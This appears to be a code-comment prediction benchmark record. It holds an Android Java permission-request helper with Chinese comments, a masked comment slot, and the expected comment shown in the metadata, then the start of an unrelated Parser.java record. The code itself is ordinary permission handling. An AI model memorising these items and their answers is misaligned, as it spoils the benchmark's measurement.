throw new IllegalArgumentException("The activity is empty");
}
if (call == null) {
throw new IllegalArgumentException("The permission request callback interface must be implemented");
}
checkTargetSdkVersion(mActivity, mPermissions);
List<String> failPermissions = getFailPermissions(mActivity, mPermissions);
if (failPermissions == null || failPermissions.size() == 0) {
//证明权限已经全部授予过
call.hasPermission(mPermissions, true);
} else {
//检测权限有没有在清单文件中注册
checkPermissions(mActivity, mPermissions);
//申请没有授予过的权限
PermissionFragment.newInstant((new ArrayList<>(mPermissions)), mConstant).prepareRequest(mActivity, call);
}
}
/**
* 检查某些权限是否全部授予了
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public boolean isHasPermission(Context context, String... permissions) {
List<String> failPermissions = getFailPermissions(context, Arrays.asList(permissions));
return failPermissions == null || failPermissions.size() == 0;
}
/**
* 检查某些权限是否全部授予了
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public boolean isHasPermission(Context context, String[]... permissions) {
List<String> permissionList = new ArrayList<>();
for (String[] group : permissions) {
permissionList.addAll(Arrays.asList(group));
}
List<String> failPermissions = getFailPermissions(context, permissionList);
return failPermissions == null || failPermissions.size() == 0;
}
/**
* 返回应用程序在清单文件中注册的权限
*
* @param context 上下文
* @return List<String>
*/
public List<String> getManifestPermissions(Context context) {
PackageManager pm = context.getPackageManager();
try {
return Arrays.asList(pm.getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS).requestedPermissions);
} catch (Exception e) {
return null;
}
}
/**
* 检查targetSdkVersion是否符合要求
*
* @param context 上下文对象
* @param requestPermissions 请求的权限组
*/
public void checkTargetSdkVersion(Context context, List<String> requestPermissions) {
//检查是否包含了8.0的权限
if (requestPermissions.contains(REQUEST_INSTALL_PACKAGES) || requestPermissions.contains(ANSWER_PHONE_CALLS) || requestPermissions.contains(READ_PHONE_NUMBERS)) {
//必须设置 targetSdkVersion >= 26 才能正常检测权限
if (context.getApplicationInfo().targetSdkVersion < Build.VERSION_CODES.O) {
throw new RuntimeException("The targetSdkVersion SDK must be 26 or more");
}
} else {
//必须设置 targetSdkVersion >= 23 才能正常检测权限
if (context.getApplicationInfo().targetSdkVersion < Build.VERSION_CODES.M) {
throw new RuntimeException("The targetSdkVersion SDK must be 23 or more");
}
}
}
/**
* 获取没有授予的权限
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public static List<String> getFailPermissions(Context context, List<String> permissions) {
//如果是安卓6.0以下版本就返回null
if (!isOverMarshmallow()) {
return null;
}
List<String> failPermissions = null;
for (String permission : permissions) {
//检测安装权限
if (permission.equals(REQUEST_INSTALL_PACKAGES)) {
if (!isHasInstallPermission(context)) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
continue;
}
//检测悬浮窗权限
if (permission.equals(SYSTEM_ALERT_WINDOW)) {
if (!isHasOverlaysPermission(context)) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
continue;
}
//检测8.0的两个新权限
if (permission.equals(ANSWER_PHONE_CALLS) || permission.equals(READ_PHONE_NUMBERS)) {
//检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
continue;
}
}
//把没有授予过的权限加入到集合中
if (context.checkSelfPermission(permission) == PackageManager.PERMISSION_DENIED) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
}
return failPermissions;
}
/**
* 获取没有授予的权限
*
* @param permissions 需要请求的权限组
* @param grantResults 允许结果组
*/
public static List<String> getFailPermissions(String[] permissions, int[] grantResults) {
List<String> failPermissions = new ArrayList<>();
for (int i = 0; i < grantResults.length; i++) {
// 把没有授予过的权限加入到集合中,-1表示没有授予,0表示已经授予
if (grantResults[i] == PackageManager.PERMISSION_DENIED) {
failPermissions.add(permissions[i]);
}
}
return failPermissions;
}
/**
* 是否还能继续申请没有授予的权限
*
* @param activity Activity对象
* @param failPermissions 失败的权限
*/
public static boolean isRequestDeniedPermission(Activity activity, List<String> failPermissions) {
for (String permission : failPermissions) {
// 检查是否还有权限还能继续申请的(这里指没有被授予的权限但是也没有被永久拒绝的)
if (!checkSinglePermissionPermanentDenied(activity, permission)) {
return true;
}
}
return false;
}
/**
* 检查某个权限是否被永久拒绝
*
* @param activity Activity对象
* @param permission 请求的权限
*/
public static boolean checkSinglePermissionPermanentDenied(Activity activity, String permission) {
// 安装权限和浮窗权限不算,本身申请方式和危险权限申请方式不同,因为没有永久拒绝的选项,所以这里返回false
if (permission.equals(REQUEST_INSTALL_PACKAGES) || permission.equals(SYSTEM_ALERT_WINDOW)) {
return false;
}
// 检测8.0的两个新权限
if (permission.equals(ANSWER_PHONE_CALLS) || permission.equals(READ_PHONE_NUMBERS)) {
// 检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
return false;
}
}
if (isOverMarshmallow()) {
return activity.checkSelfPermission(permission) == PackageManager.PERMISSION_DENIED && !activity.shouldShowRequestPermissionRationale(permission);
}
return false;
}
/**
* 在权限组中检查是否有某个权限是否被永久拒绝
*
* @param activity Activity对象
* @param permissions 请求的权限
*/
public static boolean checkMorePermissionPermanentDenied(Activity activity, List<String> permissions) {
for (String permission : permissions) {
if (checkSinglePermissionPermanentDenied(activity, permission)) {
return true;
}
}
return false;
}
/**
* 获取已授予的权限
*
* @param permissions 需要请求的权限组
* @param grantResults 允许结果组
*/
public static List<String> getSucceedPermissions(String[] permissions, int[] grantResults) {
List<String> succeedPermissions = new ArrayList<>();
for (int i = 0; i < grantResults.length; i++) {
//把授予过的权限加入到集合中,-1表示没有授予,0表示已经授予
if (grantResults[i] == PackageManager.PERMISSION_GRANTED) {
succeedPermissions.add(permissions[i]);
}
}
return succeedPermissions;
}
/**
* 是否是6.0以上版本
*/
public static boolean isOverMarshmallow() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.M;
}
/**
* 是否是8.0以上版本
*/
public static boolean isOverOreo() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.O;
}
/**
* 是否有安装权限
*
* @param context 上下文
* @return boolean
*/
public static boolean isHasInstallPermission(Context context) {
if (isOverOreo()) {
return context.getPackageManager().canRequestPackageInstalls();
}
return true;
}
/**
* 是否有悬浮窗权限
*
* @param context 上下文
* @return boolean
*/
public static boolean isHasOverlaysPermission(Context context) {
if (isOverMarshmallow()) {
return Settings.canDrawOverlays(context);
}
return true;
}
/**
* 检测权限有没有在清单文件中注册
*
* @param activity Activity对象
* @param requestPermissions 请求的权限组
*/
public void checkPermissions(Activity activity, List<String> requestPermissions) {
List<String> manifest = getManifestPermissions(activity);
if (manifest != null && manifest.size() != 0) {
for (String permission : requestPermissions) {
if (!manifest.contains(permission)) {
throw new ManifestRegisterException(permission);
}
}
} else {
throw new ManifestRegisterException(null);
}
}
public interface OnPermission {
/**
* 是否权限已申请
*
* @param mPermissions 权限列表
* @param isAll true( 所有权限已申请 ) false( 部分权限未申请 )
*/
void hasPermission(List<String> mPermissions, boolean isAll);
void noPermission(List<String> failPermissions, boolean checkMorePermission);
}
public static class ManifestRegisterException extends RuntimeException {
ManifestRegisterException(String permission) {
super(permission == null ? "No permissions are registered in the manifest file" : (permission + ": Permissions are not registered in the manifest file"));
}
}
public static class PermissionFragment extends Fragment implements Runnable {
private static final String PERMISSION_GROUP = "permission_group";//请求的权限
private static final String REQUEST_CODE = "request_code";
private static final String REQUEST_CONSTANT = "request_constant";
private final static SparseArray<OnPermission> sContainer = new SparseArray<>();
public static PermissionFragment newInstant(ArrayList<String> permissions, boolean constant) {
PermissionFragment fragment = new PermissionFragment();
Bundle bundle = new Bundle();
int requestCode;
//请求码随机生成,避免随机产生之前的请求码,必须进行循环判断
do {
//requestCode = new Random().nextInt(65535);//Studio编译的APK请求码必须小于65536
requestCode = new Random().nextInt(255);//Eclipse编译的APK请求码必须小于256
} while (sContainer.get(requestCode) != null);
bundle.putInt(REQUEST_CODE, requestCode);
bundle.putStringArrayList(PERMISSION_GROUP, permissions);
bundle.putBoolean(REQUEST_CONSTANT, constant);
fragment.setArguments(bundle);
return fragment;
}
/**
* 准备请求
*/
public void prepareRequest(Activity activity, OnPermission call) {
//将当前的请求码和对象添加到集合中
sContainer.put(getArguments().getInt(REQUEST_CODE), call);
activity.getFragmentManager().beginTransaction().add(this, activity.getClass().getName()).commit();
}
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
ArrayList<String> permissions = getArguments().getStringArrayList(PERMISSION_GROUP);
if (permissions == null) {
return;
}
if ((permissions.contains(REQUEST_INSTALL_PACKAGES) && !isHasInstallPermission(getActivity())) || (permissions.contains(SYSTEM_ALERT_WINDOW) && !isHasOverlaysPermission(getActivity()))) {
if (permissions.contains(REQUEST_INSTALL_PACKAGES) && !isHasInstallPermission(getActivity())) {
//跳转到允许安装未知来源设置页面
Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES, Uri.parse("package:" + getActivity().getPackageName()));
startActivityForResult(intent, getArguments().getInt(REQUEST_CODE));
}
if (permissions.contains(SYSTEM_ALERT_WINDOW) && !isHasOverlaysPermission(getActivity())) {
//跳转到悬浮窗设置页面
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getActivity().getPackageName()));
startActivityForResult(intent, getArguments().getInt(REQUEST_CODE));
}
} else {
requestPermission();
}
}
/**
* 请求权限
*/
public void requestPermission() {
if (isOverMarshmallow()) {
ArrayList<String> permissions = getArguments().getStringArrayList(PERMISSION_GROUP);
requestPermissions(Objects.requireNonNull(permissions).toArray(new String[permissions.size() - 1]), getArguments().getInt(REQUEST_CODE));
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
OnPermission call = sContainer.get(requestCode);
//根据请求码取出的对象为空,就直接返回不处理
if (call == null) {
return;
}
for (int i = 0; i < permissions.length; i++) {
// 重新检查安装权限
if (REQUEST_INSTALL_PACKAGES.equals(permissions[i])) {
if (isHasInstallPermission(getActivity())) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
} else {
grantResults[i] = PackageManager.PERMISSION_DENIED;
}
}
// 重新检查悬浮窗权限
if (SYSTEM_ALERT_WINDOW.equals(permissions[i])) {
if (isHasOverlaysPermission(getActivity())) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
} else {
grantResults[i] = PackageManager.PERMISSION_DENIED;
}
}
//重新检查8.0的两个新权限
if (permissions[i].equals(ANSWER_PHONE_CALLS) || permissions[i].equals(READ_PHONE_NUMBERS)) {
//检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
}
}
}
// 获取授予权限
List<String> succeedPermissions = getSucceedPermissions(permissions, grantResults);
// 如果请求成功的权限集合大小和请求的数组一样大时证明权限已经全部授予
if (succeedPermissions.size() == permissions.length) {
// 代表申请的所有的权限都授予了
call.hasPermission(succeedPermissions, true);
} else {
// 获取拒绝权限
List<String> failPermissions = getFailPermissions(permissions, grantResults);
// 检查是否开启了继续申请模式,如果是则检查没有授予的权限是否还能继续申请
if (getArguments().getBoolean(REQUEST_CONSTANT) && isRequestDeniedPermission(getActivity(), failPermissions)) {
// 如果有的话就继续申请权限,直到用户授权或者永久拒绝
requestPermission();
return;
}
// 代表申请的权限中有不同意授予的,如果有某个权限被永久拒绝就返回true给开发人员,让开发者引导用户去设置界面开启权限
call.noPermission(failPermissions, checkMorePermissionPermanentDenied(getActivity(), failPermissions));
// 证明还有一部分权限被成功授予,回调成功接口
if (!succeedPermissions.isEmpty()) {
call.hasPermission(succeedPermissions, false);
}
}
// 权限回调结束后要删除集合中的对象,避免重复请求
sContainer.remove(requestCode);
getFragmentManager().beginTransaction().remove(this).commit();
}
private boolean isBackCall;//是否已经回调了,避免安装权限和悬浮窗同时请求导致的重复回调
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
//super.onActivityResult(requestCode, resultCode, data);
if (!isBackCall && requestCode == getArguments().getInt(REQUEST_CODE)) {
isBackCall = true;
// 需要延迟执行,不然有些华为机型授权了但是获取不到权限
getActivity().getWindow().getDecorView().postDelayed(this, 500);
}
}
/**
* {@link Runnable#run()}
*/
@Override
public void run() {
//请求其他危险权限
requestPermission();
}
}
}
| 18647499996/Utils | utils/src/main/java/com/liudonghan/utils/ADPermissionManager.java | 5,336 | //检查是否包含了8.0的权限 | line_comment | zh-cn | package com.liudonghan.utils;
import android.app.Activity;
import android.app.Fragment;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.Settings;
import android.util.SparseArray;
import androidx.annotation.NonNull;
import androidx.annotation.RequiresApi;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Objects;
import java.util.Random;
/**
* Description:
*
* @author Created by: Li_Min
* Time:1/31/24
*/
public class ADPermissionManager {
public static final String REQUEST_INSTALL_PACKAGES = "android.permission.REQUEST_INSTALL_PACKAGES"; // 8.0及以上应用安装权限
public static final String SYSTEM_ALERT_WINDOW = "android.permission.SYSTEM_ALERT_WINDOW"; // 6.0及以上悬浮窗权限
public static final String READ_CALENDAR = "android.permission.READ_CALENDAR"; // 读取日程提醒
public static final String WRITE_CALENDAR = "android.permission.WRITE_CALENDAR"; // 写入日程提醒
public static final String CAMERA = "android.permission.CAMERA"; // 拍照权限
public static final String READ_CONTACTS = "android.permission.READ_CONTACTS"; // 读取联系人
public static final String WRITE_CONTACTS = "android.permission.WRITE_CONTACTS"; // 写入联系人
public static final String GET_ACCOUNTS = "android.permission.GET_ACCOUNTS"; // 访问账户列表
public static final String ACCESS_FINE_LOCATION = "android.permission.ACCESS_FINE_LOCATION"; // 获取精确位置
public static final String ACCESS_COARSE_LOCATION = "android.permission.ACCESS_COARSE_LOCATION"; // 获取粗略位置
public static final String RECORD_AUDIO = "android.permission.RECORD_AUDIO"; // 录音权限
public static final String READ_PHONE_STATE = "android.permission.READ_PHONE_STATE"; // 读取电话状态
public static final String CALL_PHONE = "android.permission.CALL_PHONE"; // 拨打电话
public static final String READ_CALL_LOG = "android.permission.READ_CALL_LOG"; // 读取通话记录
public static final String WRITE_CALL_LOG = "android.permission.WRITE_CALL_LOG"; // 写入通话记录
public static final String ADD_VOICEMAIL = "com.android.voicemail.permission.ADD_VOICEMAIL"; // 添加语音邮件
public static final String USE_SIP = "android.permission.USE_SIP"; // 使用SIP视频
public static final String PROCESS_OUTGOING_CALLS = "android.permission.PROCESS_OUTGOING_CALLS"; // 处理拨出电话
public static final String ANSWER_PHONE_CALLS = "android.permission.ANSWER_PHONE_CALLS";// 8.0危险权限:允许您的应用通过编程方式接听呼入电话。要在您的应用中处理呼入电话,您可以使用 acceptRingingCall() 函数
public static final String READ_PHONE_NUMBERS = "android.permission.READ_PHONE_NUMBERS";// 8.0危险权限:权限允许您的应用读取设备中存储的电话号码
public static final String BODY_SENSORS = "android.permission.BODY_SENSORS"; // 传感器
public static final String SEND_SMS = "android.permission.SEND_SMS"; // 发送短信
public static final String RECEIVE_SMS = "android.permission.RECEIVE_SMS"; // 接收短信
public static final String READ_SMS = "android.permission.READ_SMS"; // 读取短信
public static final String RECEIVE_WAP_PUSH = "android.permission.RECEIVE_WAP_PUSH"; // 接收WAP PUSH信息
public static final String RECEIVE_MMS = "android.permission.RECEIVE_MMS"; // 接收彩信
public static final String READ_EXTERNAL_STORAGE = "android.permission.READ_EXTERNAL_STORAGE"; // 读取外部存储
public static final String WRITE_EXTERNAL_STORAGE = "android.permission.WRITE_EXTERNAL_STORAGE"; // 写入外部存储
private Activity mActivity;
private List<String> mPermissions = new ArrayList<>();
private boolean mConstant;
private ADPermissionManager(Activity activity) {
mActivity = activity;
}
/**
* 设置请求的对象
*/
public static ADPermissionManager with(Activity activity) {
return new ADPermissionManager(activity);
}
/**
* 设置权限组
*/
public ADPermissionManager permission(String... permissions) {
mPermissions.addAll(Arrays.asList(permissions));
return this;
}
/**
* 设置权限组
*/
public ADPermissionManager permission(String[]... permissions) {
for (String[] group : permissions) {
mPermissions.addAll(Arrays.asList(group));
}
return this;
}
/**
* 设置权限组
*/
public ADPermissionManager permission(List<String> permissions) {
mPermissions.addAll(permissions);
return this;
}
/**
* 被拒绝后继续申请,直到授权或者永久拒绝
*/
public ADPermissionManager constantRequest() {
mConstant = true;
return this;
}
/**
* 请求权限
*/
public void request(OnPermission call) {
// 如果没有指定请求的权限,就使用清单注册的权限进行请求
if (mPermissions == null || mPermissions.size() == 0) {
mPermissions = getManifestPermissions(mActivity);
}
if (mPermissions == null || mPermissions.size() == 0) {
throw new IllegalArgumentException("The requested permission cannot be empty");
}
//使用isFinishing方法Activity在熄屏状态下会导致崩溃
//if (mActivity == null || mActivity.isFinishing()) throw new IllegalArgumentException("Illegal Activity was passed in");
if (mActivity == null) {
throw new IllegalArgumentException("The activity is empty");
}
if (call == null) {
throw new IllegalArgumentException("The permission request callback interface must be implemented");
}
checkTargetSdkVersion(mActivity, mPermissions);
List<String> failPermissions = getFailPermissions(mActivity, mPermissions);
if (failPermissions == null || failPermissions.size() == 0) {
//证明权限已经全部授予过
call.hasPermission(mPermissions, true);
} else {
//检测权限有没有在清单文件中注册
checkPermissions(mActivity, mPermissions);
//申请没有授予过的权限
PermissionFragment.newInstant((new ArrayList<>(mPermissions)), mConstant).prepareRequest(mActivity, call);
}
}
/**
* 检查某些权限是否全部授予了
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public boolean isHasPermission(Context context, String... permissions) {
List<String> failPermissions = getFailPermissions(context, Arrays.asList(permissions));
return failPermissions == null || failPermissions.size() == 0;
}
/**
* 检查某些权限是否全部授予了
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public boolean isHasPermission(Context context, String[]... permissions) {
List<String> permissionList = new ArrayList<>();
for (String[] group : permissions) {
permissionList.addAll(Arrays.asList(group));
}
List<String> failPermissions = getFailPermissions(context, permissionList);
return failPermissions == null || failPermissions.size() == 0;
}
/**
* 返回应用程序在清单文件中注册的权限
*
* @param context 上下文
* @return List<String>
*/
public List<String> getManifestPermissions(Context context) {
PackageManager pm = context.getPackageManager();
try {
return Arrays.asList(pm.getPackageInfo(context.getPackageName(), PackageManager.GET_PERMISSIONS).requestedPermissions);
} catch (Exception e) {
return null;
}
}
/**
* 检查targetSdkVersion是否符合要求
*
* @param context 上下文对象
* @param requestPermissions 请求的权限组
*/
public void checkTargetSdkVersion(Context context, List<String> requestPermissions) {
//检查 <SUF>
if (requestPermissions.contains(REQUEST_INSTALL_PACKAGES) || requestPermissions.contains(ANSWER_PHONE_CALLS) || requestPermissions.contains(READ_PHONE_NUMBERS)) {
//必须设置 targetSdkVersion >= 26 才能正常检测权限
if (context.getApplicationInfo().targetSdkVersion < Build.VERSION_CODES.O) {
throw new RuntimeException("The targetSdkVersion SDK must be 26 or more");
}
} else {
//必须设置 targetSdkVersion >= 23 才能正常检测权限
if (context.getApplicationInfo().targetSdkVersion < Build.VERSION_CODES.M) {
throw new RuntimeException("The targetSdkVersion SDK must be 23 or more");
}
}
}
/**
* 获取没有授予的权限
*
* @param context 上下文对象
* @param permissions 需要请求的权限组
*/
public static List<String> getFailPermissions(Context context, List<String> permissions) {
//如果是安卓6.0以下版本就返回null
if (!isOverMarshmallow()) {
return null;
}
List<String> failPermissions = null;
for (String permission : permissions) {
//检测安装权限
if (permission.equals(REQUEST_INSTALL_PACKAGES)) {
if (!isHasInstallPermission(context)) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
continue;
}
//检测悬浮窗权限
if (permission.equals(SYSTEM_ALERT_WINDOW)) {
if (!isHasOverlaysPermission(context)) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
continue;
}
//检测8.0的两个新权限
if (permission.equals(ANSWER_PHONE_CALLS) || permission.equals(READ_PHONE_NUMBERS)) {
//检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
continue;
}
}
//把没有授予过的权限加入到集合中
if (context.checkSelfPermission(permission) == PackageManager.PERMISSION_DENIED) {
if (failPermissions == null) failPermissions = new ArrayList<>();
failPermissions.add(permission);
}
}
return failPermissions;
}
/**
* 获取没有授予的权限
*
* @param permissions 需要请求的权限组
* @param grantResults 允许结果组
*/
public static List<String> getFailPermissions(String[] permissions, int[] grantResults) {
List<String> failPermissions = new ArrayList<>();
for (int i = 0; i < grantResults.length; i++) {
// 把没有授予过的权限加入到集合中,-1表示没有授予,0表示已经授予
if (grantResults[i] == PackageManager.PERMISSION_DENIED) {
failPermissions.add(permissions[i]);
}
}
return failPermissions;
}
/**
* 是否还能继续申请没有授予的权限
*
* @param activity Activity对象
* @param failPermissions 失败的权限
*/
public static boolean isRequestDeniedPermission(Activity activity, List<String> failPermissions) {
for (String permission : failPermissions) {
// 检查是否还有权限还能继续申请的(这里指没有被授予的权限但是也没有被永久拒绝的)
if (!checkSinglePermissionPermanentDenied(activity, permission)) {
return true;
}
}
return false;
}
/**
* 检查某个权限是否被永久拒绝
*
* @param activity Activity对象
* @param permission 请求的权限
*/
public static boolean checkSinglePermissionPermanentDenied(Activity activity, String permission) {
// 安装权限和浮窗权限不算,本身申请方式和危险权限申请方式不同,因为没有永久拒绝的选项,所以这里返回false
if (permission.equals(REQUEST_INSTALL_PACKAGES) || permission.equals(SYSTEM_ALERT_WINDOW)) {
return false;
}
// 检测8.0的两个新权限
if (permission.equals(ANSWER_PHONE_CALLS) || permission.equals(READ_PHONE_NUMBERS)) {
// 检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
return false;
}
}
if (isOverMarshmallow()) {
return activity.checkSelfPermission(permission) == PackageManager.PERMISSION_DENIED && !activity.shouldShowRequestPermissionRationale(permission);
}
return false;
}
/**
* 在权限组中检查是否有某个权限是否被永久拒绝
*
* @param activity Activity对象
* @param permissions 请求的权限
*/
public static boolean checkMorePermissionPermanentDenied(Activity activity, List<String> permissions) {
for (String permission : permissions) {
if (checkSinglePermissionPermanentDenied(activity, permission)) {
return true;
}
}
return false;
}
/**
* 获取已授予的权限
*
* @param permissions 需要请求的权限组
* @param grantResults 允许结果组
*/
public static List<String> getSucceedPermissions(String[] permissions, int[] grantResults) {
List<String> succeedPermissions = new ArrayList<>();
for (int i = 0; i < grantResults.length; i++) {
//把授予过的权限加入到集合中,-1表示没有授予,0表示已经授予
if (grantResults[i] == PackageManager.PERMISSION_GRANTED) {
succeedPermissions.add(permissions[i]);
}
}
return succeedPermissions;
}
/**
* 是否是6.0以上版本
*/
public static boolean isOverMarshmallow() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.M;
}
/**
* 是否是8.0以上版本
*/
public static boolean isOverOreo() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.O;
}
/**
* 是否有安装权限
*
* @param context 上下文
* @return boolean
*/
public static boolean isHasInstallPermission(Context context) {
if (isOverOreo()) {
return context.getPackageManager().canRequestPackageInstalls();
}
return true;
}
/**
* 是否有悬浮窗权限
*
* @param context 上下文
* @return boolean
*/
public static boolean isHasOverlaysPermission(Context context) {
if (isOverMarshmallow()) {
return Settings.canDrawOverlays(context);
}
return true;
}
/**
* 检测权限有没有在清单文件中注册
*
* @param activity Activity对象
* @param requestPermissions 请求的权限组
*/
public void checkPermissions(Activity activity, List<String> requestPermissions) {
List<String> manifest = getManifestPermissions(activity);
if (manifest != null && manifest.size() != 0) {
for (String permission : requestPermissions) {
if (!manifest.contains(permission)) {
throw new ManifestRegisterException(permission);
}
}
} else {
throw new ManifestRegisterException(null);
}
}
public interface OnPermission {
/**
* 是否权限已申请
*
* @param mPermissions 权限列表
* @param isAll true( 所有权限已申请 ) false( 部分权限未申请 )
*/
void hasPermission(List<String> mPermissions, boolean isAll);
void noPermission(List<String> failPermissions, boolean checkMorePermission);
}
public static class ManifestRegisterException extends RuntimeException {
ManifestRegisterException(String permission) {
super(permission == null ? "No permissions are registered in the manifest file" : (permission + ": Permissions are not registered in the manifest file"));
}
}
public static class PermissionFragment extends Fragment implements Runnable {
private static final String PERMISSION_GROUP = "permission_group";//请求的权限
private static final String REQUEST_CODE = "request_code";
private static final String REQUEST_CONSTANT = "request_constant";
private final static SparseArray<OnPermission> sContainer = new SparseArray<>();
public static PermissionFragment newInstant(ArrayList<String> permissions, boolean constant) {
PermissionFragment fragment = new PermissionFragment();
Bundle bundle = new Bundle();
int requestCode;
//请求码随机生成,避免随机产生之前的请求码,必须进行循环判断
do {
//requestCode = new Random().nextInt(65535);//Studio编译的APK请求码必须小于65536
requestCode = new Random().nextInt(255);//Eclipse编译的APK请求码必须小于256
} while (sContainer.get(requestCode) != null);
bundle.putInt(REQUEST_CODE, requestCode);
bundle.putStringArrayList(PERMISSION_GROUP, permissions);
bundle.putBoolean(REQUEST_CONSTANT, constant);
fragment.setArguments(bundle);
return fragment;
}
/**
* 准备请求
*/
public void prepareRequest(Activity activity, OnPermission call) {
//将当前的请求码和对象添加到集合中
sContainer.put(getArguments().getInt(REQUEST_CODE), call);
activity.getFragmentManager().beginTransaction().add(this, activity.getClass().getName()).commit();
}
@RequiresApi(api = Build.VERSION_CODES.O)
@Override
public void onActivityCreated(Bundle savedInstanceState) {
super.onActivityCreated(savedInstanceState);
ArrayList<String> permissions = getArguments().getStringArrayList(PERMISSION_GROUP);
if (permissions == null) {
return;
}
if ((permissions.contains(REQUEST_INSTALL_PACKAGES) && !isHasInstallPermission(getActivity())) || (permissions.contains(SYSTEM_ALERT_WINDOW) && !isHasOverlaysPermission(getActivity()))) {
if (permissions.contains(REQUEST_INSTALL_PACKAGES) && !isHasInstallPermission(getActivity())) {
//跳转到允许安装未知来源设置页面
Intent intent = new Intent(Settings.ACTION_MANAGE_UNKNOWN_APP_SOURCES, Uri.parse("package:" + getActivity().getPackageName()));
startActivityForResult(intent, getArguments().getInt(REQUEST_CODE));
}
if (permissions.contains(SYSTEM_ALERT_WINDOW) && !isHasOverlaysPermission(getActivity())) {
//跳转到悬浮窗设置页面
Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getActivity().getPackageName()));
startActivityForResult(intent, getArguments().getInt(REQUEST_CODE));
}
} else {
requestPermission();
}
}
/**
* 请求权限
*/
public void requestPermission() {
if (isOverMarshmallow()) {
ArrayList<String> permissions = getArguments().getStringArrayList(PERMISSION_GROUP);
requestPermissions(Objects.requireNonNull(permissions).toArray(new String[permissions.size() - 1]), getArguments().getInt(REQUEST_CODE));
}
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
OnPermission call = sContainer.get(requestCode);
//根据请求码取出的对象为空,就直接返回不处理
if (call == null) {
return;
}
for (int i = 0; i < permissions.length; i++) {
// 重新检查安装权限
if (REQUEST_INSTALL_PACKAGES.equals(permissions[i])) {
if (isHasInstallPermission(getActivity())) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
} else {
grantResults[i] = PackageManager.PERMISSION_DENIED;
}
}
// 重新检查悬浮窗权限
if (SYSTEM_ALERT_WINDOW.equals(permissions[i])) {
if (isHasOverlaysPermission(getActivity())) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
} else {
grantResults[i] = PackageManager.PERMISSION_DENIED;
}
}
//重新检查8.0的两个新权限
if (permissions[i].equals(ANSWER_PHONE_CALLS) || permissions[i].equals(READ_PHONE_NUMBERS)) {
//检查当前的安卓版本是否符合要求
if (!isOverOreo()) {
grantResults[i] = PackageManager.PERMISSION_GRANTED;
}
}
}
// 获取授予权限
List<String> succeedPermissions = getSucceedPermissions(permissions, grantResults);
// 如果请求成功的权限集合大小和请求的数组一样大时证明权限已经全部授予
if (succeedPermissions.size() == permissions.length) {
// 代表申请的所有的权限都授予了
call.hasPermission(succeedPermissions, true);
} else {
// 获取拒绝权限
List<String> failPermissions = getFailPermissions(permissions, grantResults);
// 检查是否开启了继续申请模式,如果是则检查没有授予的权限是否还能继续申请
if (getArguments().getBoolean(REQUEST_CONSTANT) && isRequestDeniedPermission(getActivity(), failPermissions)) {
// 如果有的话就继续申请权限,直到用户授权或者永久拒绝
requestPermission();
return;
}
// 代表申请的权限中有不同意授予的,如果有某个权限被永久拒绝就返回true给开发人员,让开发者引导用户去设置界面开启权限
call.noPermission(failPermissions, checkMorePermissionPermanentDenied(getActivity(), failPermissions));
// 证明还有一部分权限被成功授予,回调成功接口
if (!succeedPermissions.isEmpty()) {
call.hasPermission(succeedPermissions, false);
}
}
// 权限回调结束后要删除集合中的对象,避免重复请求
sContainer.remove(requestCode);
getFragmentManager().beginTransaction().remove(this).commit();
}
private boolean isBackCall;//是否已经回调了,避免安装权限和悬浮窗同时请求导致的重复回调
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
//super.onActivityResult(requestCode, resultCode, data);
if (!isBackCall && requestCode == getArguments().getInt(REQUEST_CODE)) {
isBackCall = true;
// 需要延迟执行,不然有些华为机型授权了但是获取不到权限
getActivity().getWindow().getDecorView().postDelayed(this, 500);
}
}
/**
* {@link Runnable#run()}
*/
@Override
public void run() {
//请求其他危险权限
requestPermission();
}
}
}
| 0 |
18706_0 | import ConcreteCommand.*;
import java.math.BigDecimal;
import java.sql.Date;
import java.sql.SQLException;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Scanner;
public class Parser {
public static Date parseSqlDate(String dateStr) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd");
try {
java.util.Date utilDate = formatter.parse(dateStr);
return new Date(utilDate.getTime());
} catch (ParseException e) {
e.printStackTrace();
return null;
}
}
static String user_type = null;
static String username = null;
public static void main(String[] args) throws SQLException, ClassNotFoundException {
